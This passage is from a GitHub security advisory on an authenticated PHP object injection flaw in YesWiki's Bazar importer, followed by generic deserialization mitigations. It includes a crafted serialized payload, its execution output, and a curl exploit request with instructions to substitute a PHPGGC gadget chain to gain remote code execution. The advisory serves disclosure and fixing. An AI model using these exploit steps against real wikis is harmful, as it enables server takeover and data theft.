(verbatim):\n\n```\nCrafted importfiche[0] payload (form-ready, urlencoded):\nYToxOntpOjA7Tzo2OiJHYWRnZXQiOjE6e3M6NjoibWFya2VyIjtzOjIyOiJQV05FRC1GUk9NLVVOU0VSSUFMSVpFIjt9fQ%3D%3D\n\n== before importEntry ==\n[Gadget] __destruct fired with marker=\u0027PWNED-FROM-UNSERIALIZE\u0027\nPHP Fatal error: Uncaught Error: Object of class Gadget could not be converted to string ...\n[Gadget] __destruct fired with marker=\u0027PWNED-FROM-UNSERIALIZE\u0027\n```\n\nThe two `[Gadget] __destruct fired` lines (one from inside the loop, one from the engine shutdown after the TypeError) confirm that the attacker-defined `Gadget::__destruct` executed -- with the attacker-supplied marker -- inside the unmodified `importEntry` code path.\n\nEnd-to-end against a live YesWiki install:\n\n```\ncurl -i -b \"yeswiki_session=\u003cadmin_cookie\u003e\" \\\n -X POST \"https://wiki.example.com/?BazaR\u0026vue=importer\u0026id_typeannonce=1\" \\\n --data-urlencode \\\n \"importfiche[0]=YToxOntpOjA7Tzo2OiJHYWRnZXQiOjE6e3M6NjoibWFya2VyIjtzOjIyOiJQV05FRC1GUk9NLVVOU0VSSUFMSVpFIjt9fQ==\"\n```\n\n(replace the payload with a real PHPGGC `Doctrine/FW1` or `Doctrine/RCE1` output to obtain RCE on the target host).\n\n## Impact\n\n- Authenticated wiki admin who lands on attacker-controlled HTML obtains remote code execution on the YesWiki server (via the cross-site forgery path; no admin interaction with the import UI is required).\n- An attacker who has already compromised an admin password upgrades from \"wiki content management\" to \"OS shell on the hosting box\".\n- The compromise survives the wiki layer entirely: the attacker can write web shells, exfiltrate other sites on shared hosting, modify `wakka.config.php`, dump the MySQL database, and pivot from there.\n\n## Suggested fix\n\n1. `tools/bazar/services/CSVManager.php::importEntry` -- pass `[\u0027allowed_classes\u0027 =\u003e false]` to `unserialize`, or, better, replace the base64+serialize transport with the JSON transport the current UI already uses (`?api/entries/{formId}` POST in `tools/bazar/presentation/javascripts/bazar-import.js`). The serialized-PHP transport appears to be an unused legacy path.\n2. `tools/bazar/actions/BazarImportAction.php` -- add a `CsrfTokenController::checkToken(\u0027main\u0027, \u0027POST\u0027, \u0027csrf-token\u0027, false)` guard for the `\u0027importentries\u0027` mode (and any other state-changing modes). The existing `tools/bazar/controllers/FormController.php` pattern can be lifted directly.",
"id": "GHSA-9369-69wj-7m2f",
"modified": "2026-07-09T21:02:58Z",
"published": "2026-07-09T21:02:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/security/advisories/GHSA-9369-69wj-7m2f"
},
{
"type": "WEB",
"url": "https://github.com/YesWiki/yeswiki/commit/8f70a8d6b8befa0e644d03c785701dbbc55b8fd0"
},
{
"type": "PACKAGE",
"url": "https://github.com/YesWiki/yeswiki"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "YesWiki Vulnerable to Authenticated PHP Object Injection in BazarImportAction via unserialize"
}
Mitigation
If available, use the signing/sealing features of the programming language to assure that deserialized data has not been tainted. For example, a hash-based message authentication code (HMAC) could be used to ensure that data has not been modified.
Mitigation
When deserializing data, populate a new object rather than just deserializing. The result is that the data flows through safe input validation and that the functions are safe.
Mitigation
Explicitly define a final object() to prevent deserialization.
Mitigation
- Make fields transient to protect them from deserialization.
- An attempt to serialize and then deserialize a class containing transient fields will result in NULLs where the transient data should be. This is an excellent way to prevent time, environment-based, or sensitive variables from being carried over and used improperly.
Mitigation
Avoid having unnecessary types or gadgets (a sequence of instances and method invocations that can self-execute during the deserialization process, often found in libraries) available that can be leveraged for malicious ends. This limits the potential for unintended or unauthorized types and gadgets to be leveraged by the attacker. Add only acceptable classes to an allowlist. Note: new gadgets are constantly being discovered, so this alone is not a sufficient mitigation.
Mitigation
Employ cryptography of the data or code for protection. However, it's important to note that it would still be client-side security. This is risky because if the client is compromised then the security implemented on the client (the cryptography) can be bypassed.
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-586: Object Injection
An adversary attempts to exploit an application by injecting additional, malicious content during its processing of serialized objects. Developers leverage serialization in order to convert data or state into a static, binary format for saving to disk or transferring over a network. These objects are then deserialized when needed to recover the data/state. By injecting a malformed object into a vulnerable application, an adversary can potentially compromise the application by manipulating the deserialization process. This can result in a number of unwanted outcomes, including remote code execution.